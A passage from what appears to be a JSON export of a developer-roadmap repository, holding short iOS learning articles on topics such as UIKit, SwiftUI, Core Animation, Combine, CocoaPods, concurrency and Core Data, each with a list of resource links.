    "content": "# Azure DevOps\n\nAzure DevOps is a suite of development tools and services offered by Microsoft to support the entire software development lifecycle. It includes Azure Repos for source code management with Git repositories, Azure Pipelines for continuous integration and continuous deployment (CI/CD), Azure Boards for agile project management and tracking, Azure Artifacts for managing and sharing packages, and Azure Test Plans for manual and exploratory testing. Azure DevOps integrates seamlessly with a variety of third-party tools and services, offering flexibility and extensibility. It provides robust security features, comprehensive reporting, and scalable infrastructure, making it suitable for teams of all sizes. By using Azure DevOps, development teams can collaborate more effectively, automate their workflows, and deliver high-quality software more quickly and efficiently.\n\n- [@official@Azure DevOps Website](https://azure.microsoft.com/en-gb/products/devops)\n- [@article@Build, test, and deploy Xcode apps](https://learn.microsoft.com/en-us/azure/devops/pipelines/ecosystems/xcode?view=azure-devops)\n- [@video@Azure DevOps Tutorial for Beginners](https://www.youtube.com/watch?v=4BibQ69MD8c)"
  },
  {
    "path": "src/data/roadmaps/ios/content/basic-interfaces@0o3V_zveN1xCIt7rayrCF.md",
    "content": "# Basic Interfaces\n\nUIKit Basic Interfaces refer to the fundamental user interface elements provided by the UIKit framework for creating standard iOS app layouts. These include navigation bars (UINavigationBar) for hierarchical navigation, tab bars (UITabBar) for switching between app sections, toolbars (UIToolbar) for displaying action buttons, and status bars for system information. Basic interfaces also encompass common screen layouts like list views (UITableView), grid layouts (UICollectionView), and scroll views (UIScrollView) for handling content that exceeds screen size. Mastering these basic interfaces ensures developers can create consistent, platform-native app experiences that users find familiar and intuitive, while providing a solid foundation for more complex UI designs.\n\nLearn more from the following resources:\n\n- [@official@UINavigationBar](https://developer.apple.com/documentation/uikit/uinavigationbar)\n- [@official@UITabBar](https://developer.apple.com/documentation/uikit/uitabbar)\n- [@official@UIToolBar](https://developer.apple.com/documentation/uikit/uitoolbar)\n- [@official@UITableView](https://developer.apple.com/documentation/uikit/uitableview)\n- [@official@UICollectionView](https://developer.apple.com/documentation/uikit/uicollectionview)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/basics--creating-animations@w0i5Dxp40XS2HnF5nXeZI.md",
    "content": "# Basics / Creating Animations\n\nCreating animations with Core Animation involves manipulating `CALayer` properties over time. Developers can use `CABasicAnimation` for simple property changes, or `CAKeyframeAnimation` for more complex, multi-step animations. Animations are added to layers using the `addAnimation(_:forKey:)` method. Common properties animated include position, bounds, transform, and opacity. Core Animation provides timing functions to control the pace of animations, and allows for grouping multiple animations using `CAAnimationGroup`. For view-level animations, UIView's animate methods serve as a convenient wrapper around Core Animation.\n\nLearn more from the following resources:\n\n- [@official@CALayer Documentation](https://developer.apple.com/documentation/quartzcore/calayer)\n- [@official@CABasicAnimation Documentation]\n- [@official@CAKeyframeAnimation Documentation](https://developer.apple.com/documentation/quartzcore/cakeyframeanimation)\n(https://developer.apple.com/documentation/quartzcore/cabasicanimation)\n- [@article@What is CALayer?](https://www.hackingwithswift.com/example-code/calayer/what-is-calayer)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/benefits-over-objective-c@ZkNulHQAqhiFTO3CRC_mW.md",
    "content": "# Benefits over Objective-C\n\n**Safety and Reliability:** Swift includes features like optionals and type inference that reduce common programming errors and crashes.\n\n**Modern Syntax:** Swift’s concise and clean syntax improves readability and maintainability.\n\n**Performance:** Swift is designed for speed and efficiency, often outperforming Objective-C in benchmarks.\n\n**Interoperability:** Swift can easily coexist with Objective-C, allowing for a gradual transition of codebases.\n\n**Memory Management:** Automatic Reference Counting (ARC) in Swift handles memory management across both procedural and object-oriented code, reducing memory leaks.\n\n**Playgrounds:** Swift's interactive playgrounds provide a dynamic environment for testing and learning Swift code.\n\nVisit the following resources to learn more:\n\n- [@article@Swift vs Objective-C](https://www.waldo.com/blog/swift-vs-objective-c)\n- [@feed@Explore top posts about C Programming](https://app.daily.dev/tags/c?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/breakpoints@X0QavvwPVJU6sulafPVUK.md",
    "content": "# Breakpoints\n\nXcode debugger breakpoints are powerful tools for pausing program execution at specific points, allowing developers to inspect the application state and diagnose issues. Key features include:\n\n1. Line breakpoints: Set on specific code lines to pause execution.\n2. Symbolic breakpoints: Trigger on function or method names.\n3. Exception breakpoints: Pause when exceptions occur.\n4. Conditional breakpoints: Only activate when certain conditions are met.\n5. Action breakpoints: Perform custom actions when hit, like logging or running scripts.\n6. Breakpoint navigator: Centralized management of all breakpoints.\n7. Enable/disable options: Easily toggle breakpoints without removing them.\n8. Breakpoint groups: Organize and manage sets of related breakpoints.\n\nBreakpoints can be set by clicking in the gutter of the source editor or through the Breakpoint Navigator.\n\nLearn more from the following resources:\n\n- [@official@Setting breakpoints to pause your running app](https://developer.apple.com/documentation/xcode/setting-breakpoints-to-pause-your-running-app)\n- [@article@How to add and use a breakpoint in XCode](https://www.delasign.com/blog/xcode-add-use-breakpoint/)\n- [@video@Debugging Apps with Xcode 15: Debugging with Breakpoints](https://www.youtube.com/watch?v=wYldJF-8fWA)"
  },
  {
    "path": "src/data/roadmaps/ios/content/building-interfaces@YvuYJceeNNfLBpq2-3iiL.md",
    "content": "# Building Interfaces\n\nSwiftUI is Apple's modern framework for building user interfaces across all Apple platforms using Swift. It employs a declarative syntax where UI is described using Swift code, defining what should appear rather than how to create it. Xcode provides real-time previews of the UI as you code, enhancing the development experience. SwiftUI uses property wrappers like `@State` for managing UI state, and offers a flexible layout system with VStack, HStack, and ZStack. Complex UIs are built by composing smaller, reusable views, and data flow between views is managed using `@Binding` and `@ObservedObject`. The framework provides chainable modifiers for customizing view appearance and behavior, easy-to-implement declarative animations, and built-in support for common gestures. SwiftUI simplifies UI development by reducing boilerplate code and offering a more intuitive way to create responsive, adaptive interfaces that can target iOS, macOS, watchOS, and tvOS from a single codebase.\n\nLearn more from the following resources:\n\n- [@official@ZStack](https://developer.apple.com/documentation/swiftui/zstack)\n- [@official@VStack](https://developer.apple.com/documentation/swiftui/vstack)\n- [@official@HStack](https://developer.apple.com/documentation/swiftui/hstack)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/callback-hell@WhOpzFvv21QQV3aS6XbXr.md",
    "content": "# Callback Hell\n\nCallback hell, also known as the pyramid of doom, is a common issue in asynchronous programming where multiple nested callbacks create code that is difficult to read, understand, and maintain. This problem typically arises when dealing with multiple asynchronous operations that depend on each other's results. As callbacks are nested within callbacks, the code structure becomes deeply indented, resembling a pyramid shape. This nesting not only hampers code readability but also makes error handling and flow control more complex. To mitigate callback hell, developers often employ techniques such as modularizing code, using named functions instead of anonymous closures, or adopting more advanced asynchronous patterns. Modern Swift development addresses this issue through the use of promises, futures, completion handlers, and most recently, the async/await pattern, which provides a more linear and readable approach to handling asynchronous operations.\n\nLearn more from the following resources:\n\n- [@article@Avoiding callback hell in Swift](https://swiftrocks.com/avoiding-callback-hell-in-swift)\n- [@article@Say Goodbye to Callback Hell: A Beginner’s Guide to Async/Await in Swift](https://medium.com/@asumahbanda3/say-goodbye-to-callback-hell-a-beginners-guide-to-async-await-in-swift-4c3230183218)\n- [@video@What is JavaScript Callback Hell?](https://www.youtube.com/watch?v=NOlOw03qBfw)"
  },
  {
    "path": "src/data/roadmaps/ios/content/callbacks@qJEd7KU52xL_GRG3IQqhM.md",
    "content": "# Callbacks\n\nCallbacks in Swift provide a mechanism for asynchronous communication between different parts of an application. They allow a function to pass control back to the caller once a task is completed, making them particularly useful for handling time-consuming operations or events that occur at unpredictable times. In Swift, callbacks are often implemented using closures, which are self-contained blocks of functionality that can be passed around and executed later. This approach is commonly used in network operations, user interface events, and any scenario where the result of an operation isn't immediately available.\n\nWhile simple to implement for basic use cases, callbacks can lead to complex nested structures (often referred to as \"callback hell\") in more intricate scenarios. To mitigate this, Swift offers more advanced patterns like completion handlers, promises, and async/await syntax, which provide cleaner ways to handle asynchronous operations while maintaining the core concept of passing control back to the caller upon completion.\n\nLearn more from the following resources:\n\n- [@article@Use callback in swift (UIKit)](https://medium.com/@ravenst/use-callback-in-swift-uikit-7d5a85d37c9e)"
  },
  {
    "path": "src/data/roadmaps/ios/content/capturing-values--memory-mgmt@S-D-PnHA7COd2Dp6U2XO4.md",
    "content": "# Capturing Values & Memory Mgmt.\n\nCapturing values in closures is a powerful feature in Swift that allows closures to access and retain variables from their surrounding context. When a closure captures a value, it creates a strong reference to that value, potentially extending its lifetime beyond its original scope. This behavior is crucial for maintaining state in asynchronous operations but can lead to memory management challenges if not handled carefully. Swift provides capture lists to explicitly define how values should be captured, allowing developers to specify weak or unowned references to avoid retain cycles. Proper management of captured values is essential for preventing memory leaks, especially in scenarios involving self-referential closures or delegate patterns. Understanding the implications of value capture and employing appropriate memory management techniques ensures efficient and leak-free use of closures in Swift applications, particularly in complex asynchronous and event-driven programming scenarios.\n\nLearn more from the following resources:\n\n- [@article@Capture lists in Swift](https://www.hackingwithswift.com/articles/179/capture-lists-in-swift-whats-the-difference-between-weak-strong-and-unowned-references)\n- [@article@Swift’s closure capturing mechanics](https://www.swiftbysundell.com/articles/swifts-closure-capturing-mechanics/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/carthage@tIHjjNTXJWcNgkO6TB9ea.md",
    "content": "# Carthage\n\nCarthage is a decentralized dependency manager for iOS and macOS development, offering a lightweight alternative to CocoaPods. It focuses on building frameworks rather than integrating directly into projects, giving developers more control over their project structure. Carthage fetches and builds dependencies as specified in a Cartfile, creating standalone frameworks that can be easily integrated into Xcode projects. This approach keeps the project's structure intact and allows for easier version control. Carthage supports both Swift and Objective-C libraries and works well with dynamic frameworks. It's particularly favored for its simplicity and non-invasive nature, as it doesn't modify project files or create workspaces. While Carthage requires manual framework linking, which can be more time-consuming initially, it offers faster build times and more flexibility in managing dependencies. This tool is often preferred by developers who desire more control over their dependency integration process and project structure.\n\nLearn more from the following resources:\n\n- [@opensource@carthage/carthage](https://github.com/Carthage/Carthage)\n- [@course@Carthage - Getting Started](https://www.kodeco.com/7649117-carthage-tutorial-getting-started)"
  },
  {
    "path": "src/data/roadmaps/ios/content/ci--cd@U4xE1enkZxUME0j0gutae.md",
    "content": "# CI / CD\n\nContinuous Integration (CI) and Continuous Deployment (CD) are practices aimed at improving software development efficiency and quality by automating the integration and delivery processes.\n\nContinuous Integration (CI) involves automatically integrating code changes from multiple contributors into a shared repository several times a day. Each integration is verified by an automated build, allowing teams to detect and address issues early. CI tools like Jenkins, GitHub Actions, and Travis CI run automated tests and ensure that new code commits do not break the existing functionality.\n\nContinuous Deployment (CD) extends CI by automating the release of validated changes to production. Every change that passes the automated tests is automatically deployed to the production environment, ensuring that the software is always in a release-ready state. This practice reduces the time between development and release, allowing for faster delivery of features and updates.\n\nTogether, CI/CD practices help teams achieve rapid, reliable, and repeatable software delivery, fostering a culture of continuous improvement and agility."
  },
  {
    "path": "src/data/roadmaps/ios/content/circleci@tWxuFh0xDugdplnHt_G0e.md",
    "content": "# CircleCI\n\nCircleCI is a cloud-based continuous integration and continuous deployment (CI/CD) platform that automates the software development process, allowing teams to build, test, and deploy code efficiently. It offers both cloud and on-premises solutions, providing flexibility for different project requirements and security needs. CircleCI supports the definition and management of complex workflows with multiple jobs and dependencies, enabling parallel execution to optimize build times. It integrates seamlessly with Docker, allowing developers to use containers to ensure consistent environments across builds. Configuration is managed through YAML files, which define build processes and make them easily maintainable and version-controlled. The platform also offers extensive integrations with various version control systems, deployment services, and notification tools. CircleCI automatically scales to handle multiple concurrent builds, making it suitable for growing teams and larger projects. Its robust feature set and ease of use make it an excellent choice for streamlining CI/CD processes and improving software delivery performance.\n\nLearn more from the following resources:\n\n- [@official@CircleCI Website](https://circleci.com)\n- [@article@Deploy iOS applications](https://circleci.com/docs/deploy-ios-applications/)\n- [@video@Automate building and testing your iPhone application with CircleCI Cloud - iOS Conf SG 2023](https://www.youtube.com/watch?v=MyQ-e7Ae8y8)"
  },
  {
    "path": "src/data/roadmaps/ios/content/closures@M9UlalPL47GoqhcyGsAPV.md",
    "content": "# Closures\n\nCallback closures in Swift are a powerful and flexible way to handle asynchronous operations and event-driven programming. These closures are functions passed as arguments to other functions, which can be executed once a specific task or operation is completed. They allow for non-blocking execution of code, enabling the program to continue running while waiting for long-running tasks to finish. Callback closures are particularly useful in scenarios like network requests, file I/O operations, or user interface events. Swift's syntax for closures makes them concise and easy to use, with features like trailing closure syntax and capture lists for managing memory. While callback closures offer great flexibility, they can lead to nested code structures in complex scenarios, which has led to the development of more advanced patterns like promises and async/await to manage asynchronous code more elegantly."
  },
  {
    "path": "src/data/roadmaps/ios/content/cocoa-touch@leozxW-5fAOfkKbQM4FD1.md",
    "content": "# Cocoa Touch\n\nThe Cocoa Touch layer in iOS provides the key frameworks needed to create apps for iOS devices. It offers extensive support for various user interface elements, gestures, animations, and event handling, making it central to developing interactive and visually appealing applications. Key components include UIKit for managing the graphical user interface, Foundation for essential data and network access, and Core Motion for handling device motion data. Additionally, frameworks like GameKit, MapKit, MessageUI, EventKit, and AVFoundation extend functionality for gaming, mapping, communication, event management, and multimedia.\n\nCocoa Touch is responsible for the seamless integration of user interfaces and multimedia, supporting touch-based input, complex animations, and gesture recognizers through UIKit. AVFoundation provides robust tools for handling audio and video, essential for media-rich applications. GameKit offers features for game development, while MapKit integrates mapping services. MessageUI enables in-app communication via email and messages, and EventKit manages calendar events and reminders. These frameworks collectively empower developers to create rich, interactive, and high-performing iOS applications.\n\nYou can learn more in depth information on the elements of the Cocoa Touch layer further down the roadmap in the UI Design & Framework sections."
  },
  {
    "path": "src/data/roadmaps/ios/content/cocoapods@epr1sOEZIAOwlgb8bre7r.md",
    "content": "# CocoaPods\n\nCocoaPods is a dependency manager for Swift and Objective-C Cocoa projects. It has over 100 thousand libraries and is used in over 3 million apps. CocoaPods can help you scale your projects elegantly.\n\nVisit the following resources to learn more:\n\n- [@official@CocoaPods](https://cocoapods.org/)\n- [@video@How to install Cocoapods on Mac M1](https://www.youtube.com/watch?v=0EbUBgO681w)\n- [@video@How to Fix Cocoapods Install Errors on an Apple Silicon Macs](https://www.youtube.com/watch?v=uZD2EQbBqPg)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/code-quality-tools@DVe8S6TjKcQ8LT5G-aMVa.md",
    "content": "# Code Quality Tools\n\nCode quality tools in iOS development are essential for maintaining high standards of code cleanliness, efficiency, and maintainability. These tools automate the process of identifying potential issues, enforcing coding standards, and improving overall code quality. Popular options include SwiftLint, which checks Swift code for style and conventions; SonarQube, which provides comprehensive code analysis for bugs, vulnerabilities, and code smells; and Codebeat, offering automated code reviews. Static analysis tools like Clang Static Analyzer help detect bugs and security issues. Continuous integration platforms often integrate these tools, running checks automatically with each commit. Code coverage tools measure the extent of test coverage, while performance profilers like Instruments help optimize app efficiency. By incorporating these tools into the development workflow, teams can catch issues early, maintain consistent coding standards, and produce more robust, maintainable iOS applications. Regular use of code quality tools contributes significantly to reducing technical debt and improving long-term project health."
  },
  {
    "path": "src/data/roadmaps/ios/content/combine-and-mvvm@pY_zaMcFpeFDLgVk2W0Vy.md",
    "content": "# Combine and MVVM\n\nCombine and MVVM (Model-View-ViewModel) form a powerful combination in iOS development. Combine's reactive approach complements MVVM's separation of concerns. In this pairing, ViewModels use Combine publishers to expose data streams to Views, which subscribe to these streams for reactive UI updates. Models can publish changes through Combine, which ViewModels then process and transform. This setup allows for clean, declarative bindings between Views and ViewModels, reducing boilerplate code and improving testability. Combine's operators facilitate complex data transformations within ViewModels, while its handling of asynchronous operations simplifies tasks like network requests.\n\nLearn more from the following resoureces:\n\n- [@article@MVVM Design Pattern with Combine Framework](https://medium.com/@mshcheglov/mvvm-design-pattern-with-combine-framework-on-ios-5ff911011b0b)\n- [@article@MVVM and Combine](https://betterprogramming.pub/uikit-mvvm-combine-912c80c02262)\n- [@video@MVVM Combine Swift (2022)](https://www.youtube.com/watch?v=KK6ryBmTKHg)"
  },
  {
    "path": "src/data/roadmaps/ios/content/combine@UzpdLLPs226N00c6weWRv.md",
    "content": "# Combine\nCombine is Apple's built-in framework for reactive programming, using the same publisher-subscriber pattern as most modern approaches to this issue.\nCombine introduces the concept of a `Cancellable` (i.e. a subscription) and many different operators to use on these Cancellables.\nWhen writing Combine code, developers will notice complex generic types. For this reason, type-erasure can be done through `AnyCancellable`.\n\nVisit the following resources to learn more:\n\n- [@official@Combine](https://developer.apple.com/documentation/combine)\n- [@video@Understanding Combine](https://youtu.be/rz0yx0Qz2jE)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/components@A1TFKVjGU5RbeTF_zxJlu.md",
    "content": "# Components\n\nUIKit components are the building blocks of iOS user interfaces, offering a wide range of pre-designed elements for creating functional and visually appealing apps. These include basic controls like `UIButton`, `UILabel`, and `UITextField` for user input and display; container views such as `UITableView` and `UICollectionView` for organizing content; `UINavigationController` and `UITabBarController` for app navigation; and `UIAlertController` for displaying alerts and action sheets. UIKit also provides components for more specialized functions, like `UIImageView` for displaying images, `UIScrollView` for scrollable content, and `UIPickerView` for selection interfaces. \n\nLearn more from the following resources:\n\n- [@article@UIKit Component Styling](https://medium.com/@greenSyntax/uikit-component-styling-in-ios-ae218ae4823e)\n- [@article@Customizable UI Components on iOS Using UIKit](https://pspdfkit.com/blog/2023/customizable-ui-components/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/components@xkH7Llut6uP2-8iTMw76F.md",
    "content": "# Components\n\nComponents are built by composing primitive views like Text, Image, and Button, along with container views such as VStack and HStack. They can accept parameters for customization and use `@State` and `@Binding` for internal state management and data flow. SwiftUI's modifiers allow for styling and behavior adjustments. Components can be extracted into separate files for reusability across the app. This approach encourages a modular design, improving code organization and maintainability.\n\nLearn more from the following resources:\n\n- [@article@SwiftUI Components](https://designcode.io/swiftui-handbook-components)\n- [@course@Building Reusable SwiftUI Components](https://peterfriese.github.io/Building-SwiftUI-Components-Tutorial/tutorials/tutorial-table-of-contents/)\n- [@video@Building SwiftUI Components](https://www.youtube.com/playlist?list=PLsnLd2esiGRTfzn8pq4ZMYyDsL8GEMZO8)"
  },
  {
    "path": "src/data/roadmaps/ios/content/concurrency-and-multithreading@fbloF-u4XwdHLmBS9flZm.md",
    "content": "# Concurrency and Multithreading\n\nConcurrency and multithreading in iOS development enable applications to perform multiple operations simultaneously, improving responsiveness and performance. iOS provides several mechanisms for managing concurrent tasks, including Grand Central Dispatch (GCD) and Operation queues. GCD offers a low-level API for dispatching tasks to concurrent queues, while Operation queues provide a higher-level, object-oriented approach. Swift's modern concurrency features, including async/await and actors, offer a more intuitive way to write asynchronous code, reducing complexity and potential threading issues. These tools allow developers to offload time-consuming tasks from the main thread, ensuring a smooth user interface. Proper use of concurrency involves careful management of shared resources to avoid race conditions and deadlocks. Understanding thread safety, queue priorities, and synchronization techniques is crucial for developing efficient and responsive iOS applications that can effectively utilize modern multi-core devices."
  },
  {
    "path": "src/data/roadmaps/ios/content/concurrency-gcd-asyncawait@aALIiAxKz4f7B_EYyhBCi.md",
    "content": "# Concurrency (GCD, async/await)\n\nConcurrency in iOS development refers to executing multiple tasks simultaneously, improving app performance and responsiveness. Grand Central Dispatch (GCD) is a low-level API that manages concurrent operations through queues, while async/await is a modern Swift feature that simplifies asynchronous code. These tools allow developers to perform time-consuming tasks (like network requests or complex calculations) in the background without freezing the UI. By leveraging concurrency, iOS apps can efficiently utilize device resources, handle multiple operations simultaneously, and maintain a smooth user experience even during intensive processing tasks.\n\niOS specific concurrency is covered later in the roadmap."
  },
  {
    "path": "src/data/roadmaps/ios/content/concurrency@-aLGB3cDXZHIhVU3t-Ve4.md",
    "content": "# Concurrency\n\nSwift's concurrency model centers on async/await syntax, allowing asynchronous code to be written in a clear, sequential manner. It employs actors to manage shared mutable state safely, and the Task API for handling concurrent work. Structured concurrency ensures proper task lifecycle management. The language also offers async sequences and streams for working with asynchronous data, and the Sendable protocol to guarantee thread-safe data sharing. This comprehensive approach enables developers to write efficient, safe concurrent code while minimizing common issues like race conditions and deadlocks.\n\nLearn more from the following resources:\n\n- [@official@Swift Documentation (How to interact)](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/concurrency/)\n- [@official@Apple Documentation (Signatures for interaction)](https://developer.apple.com/documentation/swift/concurrency)\n- [@article@Concurrency bu Example](https://www.hackingwithswift.com/quick-start/concurrency)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-animation@KpcmuLWX0xAjz6ty4ebtB.md",
    "content": "# Core Animation\n\nCore Animation is a robust animation framework in iOS that enables developers to create smooth and visually engaging animations. It provides a simple yet powerful API for animating views and other visual elements, allowing for complex motion effects with minimal code. Core Animation handles the rendering and compositing of animated content efficiently, ensuring high performance and fluid user experiences in applications.\n\nLearn more from the following resources:\n\n- [@official@Core Animation Documentation](https://developer.apple.com/documentation/quartzcore)\n- [@video@Introduction to Core Animation](https://www.youtube.com/watch?v=93bfh3GK79s)"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-animation@_mRs6ctH0IsSSi-cwV2b8.md",
    "content": "# Core Animation\n\nCore Animation is a powerful framework in iOS that allows developers to create rich and interactive animations. It works by compositing layers, each representing a view, and uses hardware acceleration to ensure smooth animations. Core Animation simplifies the process of animating properties such as position, scale, and opacity, providing implicit and explicit animation techniques. It enhances the user interface experience by enabling complex visual effects, transitions, and animations with minimal impact on performance, making it essential for crafting visually appealing iOS applications.\n\nLearn more from the following resources:\n\n- [@official@Core Animation Documentation](https://developer.apple.com/documentation/quartzcore)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-audio@4bAABCfTvxchS5C5NlAro.md",
    "content": "# Core Audio\n\nCore Audio is a low-level framework in iOS designed for handling audio. It provides developers with advanced capabilities for recording, processing, playing back, and streaming audio. Core Audio supports various audio formats and offers precise control over audio data, enabling tasks such as real-time audio manipulation, audio mixing, and effects processing. With its high-performance and low-latency features, Core Audio is ideal for professional audio applications and complex audio signal processing tasks.\n\nLearn more from the following resources:\n\n- [@official@Core Audio Documentation](https://developer.apple.com/documentation/coreaudio)\n- [@article@Working with Core Audio](https://medium.com/@ios_guru/core-audio-for-working-with-audio-7c293382ffca)"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-data@H4-Dp2WTA6HAZiFRQdLjx.md",
    "content": "# Core Data\nUse Core Data to save your application’s permanent data for offline use, to cache temporary data, and to add undo functionality to your app on a single device. To sync data across multiple devices in a single iCloud account, Core Data automatically mirrors your schema to a CloudKit container.\n\nThrough Core Data’s Data Model editor, you define your data’s types and relationships, and generate respective class definitions. Core Data can then manage object instances at runtime to provide the following features.\n\nVisit the following resources to learn more:\n\n- [@official@CoreData](https://developer.apple.com/documentation/coredata/)\n- [@video@iOS Core Data Quick Start](https://www.youtube.com/watch?v=O7u9nYWjvKk)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-graphics@kRE9xT3mT9Si4NwJr9yGi.md",
    "content": "# Core Graphics\n\nCore Graphics, also known as Quartz, is a powerful 2D graphics rendering framework in iOS. It provides essential functions for drawing shapes, images, and text, handling low-level graphic operations with precision and efficiency. Core Graphics supports advanced features like color management, path-based drawing, and anti-aliasing, enabling developers to create detailed and visually appealing graphics within their applications.\n\nLearn more from the following resources:\n\n- [@official@Core Graphics Documentation](https://developer.apple.com/documentation/coregraphics)\n- [@video@Introduction to Core Graphics](https://www.youtube.com/watch?v=won0gA05ce0)"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-image@6zE_M0_oVpwW0B9qFSRgP.md",
    "content": "# Core Image\n\nCore Image is a powerful framework in iOS for image processing and analysis. It provides a wide array of built-in filters for tasks such as enhancing photos, applying artistic effects, and performing face detection. Core Image leverages GPU acceleration to ensure high performance and real-time processing capabilities. With support for custom filters and flexible integration with other graphics technologies, Core Image enables developers to create complex visual effects and perform sophisticated image manipulations within their applications.\n\nLearn more from the following resources:\n\n- [@official@Core Image Documentation](https://developer.apple.com/documentation/coreimage)\n- [@course@Core Image Tutorial](https://www.kodeco.com/30195423-core-image-tutorial-getting-started)"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-ml@7s9Elv80TbZX_-NZpyutj.md",
    "content": "# Core ML\nUse `Core ML` to integrate machine learning models into your app. Core ML provides a unified representation for all models. Your app uses Core ML APIs and user data to make predictions, and to train or fine-tune models, all on a person’s device.\n\nVisit the following resources to learn more:\n\n- [@official@Core ML](https://developer.apple.com/documentation/coreml/)\n- [@official@Create machine learning models for use in your app.](https://developer.apple.com/machine-learning/create-ml/)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-os@IdGdLNgJI3WmONEFsMq-d.md",
    "content": "# Core OS\n\nThe Core OS layer in iOS is the foundation upon which the entire operating system is built, providing essential low-level services that ensure the system’s security, performance, and efficiency. This layer includes the kernel, which manages system resources and hardware abstraction, and device drivers that facilitate communication between the OS and hardware. Core OS also encompasses security frameworks, such as the Secure Enclave for handling encryption keys and biometric data, and Keychain Services for secure storage of sensitive information.\n\nCore OS supports essential functionalities like the Apple File System (APFS), which offers features like encryption and snapshotting, efficient memory management, and robust networking capabilities. It also includes power management features to extend battery life, inter-process communication (IPC) mechanisms for multitasking, and core system libraries like libdispatch for concurrency. By providing these foundational services, Core OS ensures that higher-level software can operate efficiently and securely on iOS devices.\n\nVisit the following resources to learn more:\n\n- [@article@Kernel API](https://developer.apple.com/documentation/kernel)\n- [@article@System Configuration](https://developer.apple.com/documentation/systemconfiguration)\n- [@article@Apple File System Guide](https://developer.apple.com/documentation/foundation/file_system/about_apple_file_system)\n- [@article@Keychain Services](https://developer.apple.com/documentation/security/keychain_services)\n- [@article@LibDispatch](https://developer.apple.com/documentation/dispatch)\n- [@article@LibXPC](https://developer.apple.com/documentation/xpc)"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-programming-concepts@mk02yV7_XHkgp2xdNIxaU.md",
    "content": "# Core Programming Concepts\n\nCore programming concepts for iOS development encompass fundamental principles essential for creating efficient and robust applications. These include understanding variables, data types, control structures (like loops and conditionals), functions, and object-oriented programming principles. iOS developers should also be familiar with memory management, error handling, and basic algorithms. \n\nLearn more from the following resources:\n\n- [@article@Programming Fundamentals](https://www.theknowledgeacademy.com/blog/programming-fundamentals/)\n- [@article@What are the basic fundementals of programming?](https://www.educative.io/answers/what-are-the-basic-fundamental-concepts-of-programming)\n\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/core-services@LHM7gNgTtfn_QDW-oQskD.md",
    "content": "# Core Services\n\nThe Core Services layer in iOS provides essential system services that support app development by offering a wide range of fundamental frameworks and capabilities. These services are crucial for enabling basic app functionality such as data management, networking, location services, motion sensing, and web content integration. By leveraging these core frameworks, you can efficiently handle tasks like data storage and persistence, network communication, and user location tracking, ensuring their apps are robust, responsive, and capable of interacting with various hardware and software components.\n\nCore Services are responsible for managing fundamental utilities and services that underpin iOS applications. This includes providing efficient data management solutions, robust networking capabilities, precise location data, and motion sensing features. Additionally, they facilitate seamless integration and manipulation of web content within apps.\n\nVisit the following resources to learn more:\n\n- [@article@Core Services Layer Overview](https://developer.apple.com/documentation/coreservices)\n- [@article@Core Foundation](https://developer.apple.com/documentation/corefoundation)\n- [@article@Core Data](https://developer.apple.com/documentation/coredata)\n- [@article@Core Location](https://developer.apple.com/documentation/corelocation)\n- [@article@CFNetwork](https://developer.apple.com/documentation/cfnetwork)\n- [@article@Core Motion](https://developer.apple.com/documentation/coremotion)\n- [@article@Foundation](https://developer.apple.com/documentation/foundation)\n- [@article@WebKit](https://developer.apple.com/documentation/webkit)"
  },
  {
    "path": "src/data/roadmaps/ios/content/data-binding@yR94uHs0SiSScU4gPBzfr.md",
    "content": "# Data binding\n\nSwiftUI data binding is a mechanism that creates a two-way connection between a piece of data and a UI element. It uses the `@Binding` property wrapper to allow child views to share and modify data owned by parent views. Bindings ensure that changes in data are immediately reflected in the UI and vice versa. They are typically created using the `$` prefix on a `@State` property. This approach facilitates the flow of data through an app's view hierarchy, enabling reactive UI updates and maintaining a single source of truth.\n\nLearn more from the following resources:\n\n- [@official@Binding](https://developer.apple.com/documentation/swiftui/binding)\n- [@official@Apple Tutorials: Passing data with bindings](https://developer.apple.com/tutorials/app-dev-training/passing-data-with-bindings)\n- [@video@How to use @Binding property wrapper in SwiftUI](https://www.youtube.com/watch?v=btDMzB5x2Gs)\n- [@video@SwiftUI - @Binding Property Wrapper Explained](https://www.youtube.com/watch?v=lgtB3WLEOYg)"
  },
  {
    "path": "src/data/roadmaps/ios/content/data-persistence@6gfqFy3H6SLt06oJ1kt5A.md",
    "content": "# Data Persistence\n\nData persistence in iOS applications involves storing and retrieving data beyond the app's current runtime, ensuring information remains available across app launches and device restarts. Swift and iOS offer several mechanisms for data persistence, each suited to different needs and data complexities. Core Data provides a robust framework for managing and persisting large, structured datasets, offering features like data modeling, querying, and synchronization. For simpler data storage, UserDefaults is ideal for storing small amounts of key-value data. File system storage allows direct saving and loading of data to and from files in the app's sandbox. Keychain Services offer secure storage for sensitive information like passwords and tokens. SQLite databases can be used for more complex relational data storage needs. Additionally, CloudKit enables data synchronization across devices via iCloud. Choosing the appropriate persistence method depends on factors such as data structure, size, security requirements, and the need for synchronization across devices or with remote servers.\n\nLearn more from the following resources:\n\n- [@official@Apple Dev Training - Persisting Data](https://developer.apple.com/tutorials/app-dev-training/persisting-data)"
  },
  {
    "path": "src/data/roadmaps/ios/content/debug-navigator@VuWUsg05WmOoP_RJ5AXJO.md",
